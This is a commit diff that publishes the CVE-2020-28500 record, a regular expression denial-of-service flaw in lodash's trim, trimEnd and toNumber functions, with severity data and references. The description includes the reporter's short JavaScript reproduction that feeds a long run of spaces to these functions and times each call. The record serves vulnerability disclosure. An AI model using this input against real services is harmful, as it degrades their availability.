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Auto-merge PR#842
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CVE Team 2021-02-15 06:10:21 -05:00 committed by GitHub
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2020/28xxx/CVE-2020-28500.json
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@ -3,16 +3,130 @@
"data_format": "MITRE",
"data_version": "4.0",
"CVE_data_meta": {
"ASSIGNER": "report@snyk.io",
"DATE_PUBLIC": "2021-02-15T11:10:02.896752Z",
"ID": "CVE-2020-28500",
"ASSIGNER": "cve@mitre.org",
"STATE": "RESERVED"
"STATE": "PUBLIC",
"TITLE": "Regular Expression Denial of Service (ReDoS)"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "lodash",
"version": {
"version_data": [
{
"version_affected": ">=",
"version_value": "0"
}
]
}
}
]
},
"vendor_name": "n/a"
},
{
"product": {
"product_data": [
{
"product_name": "org.fujion.webjars:lodash",
"version": {
"version_data": [
{
"version_affected": ">=",
"version_value": "0"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "Regular Expression Denial of Service (ReDoS)"
}
]
}
]
},
"references": {
"reference_data": [
{
"refsource": "CONFIRM",
"url": "https://snyk.io/vuln/SNYK-JS-LODASH-1018905"
},
{
"refsource": "CONFIRM",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892"
},
{
"refsource": "CONFIRM",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893"
},
{
"refsource": "CONFIRM",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894"
},
{
"refsource": "CONFIRM",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895"
},
{
"refsource": "CONFIRM",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896"
},
{
"refsource": "CONFIRM",
"url": "https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8"
},
{
"refsource": "CONFIRM",
"url": "https://github.com/lodash/lodash/pull/5065"
}
]
},
"description": {
"description_data": [
{
"lang": "eng",
"value": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided."
"value": "All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.\r\n\r\n\r\nSteps to reproduce (provided by reporter Liyuan Chen):\r\n\r\nvar lo = require('lodash');\r\n\r\nfunction build_blank (n) {\r\nvar ret = \"1\"\r\nfor (var i = 0; i < n; i++) {\r\nret += \" \"\r\n}\r\n\r\nreturn ret + \"1\";\r\n}\r\n\r\nvar s = build_blank(50000)\r\nvar time0 = Date.now();\r\nlo.trim(s)\r\nvar time_cost0 = Date.now() - time0;\r\nconsole.log(\"time_cost0: \" + time_cost0)\r\n\r\nvar time1 = Date.now();\r\nlo.toNumber(s)\r\nvar time_cost1 = Date.now() - time1;\r\nconsole.log(\"time_cost1: \" + time_cost1)\r\n\r\nvar time2 = Date.now();\r\nlo.trimEnd(s)\r\nvar time_cost2 = Date.now() - time2;\r\nconsole.log(\"time_cost2: \" + time_cost2)\r\n\n"
}
]
}
},
"impact": {
"cvss": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "NONE",
"scope": "UNCHANGED",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"availabilityImpact": "LOW"
}
},
"credit": [
{
"lang": "eng",
"value": "Liyuan Chen"
}
]
}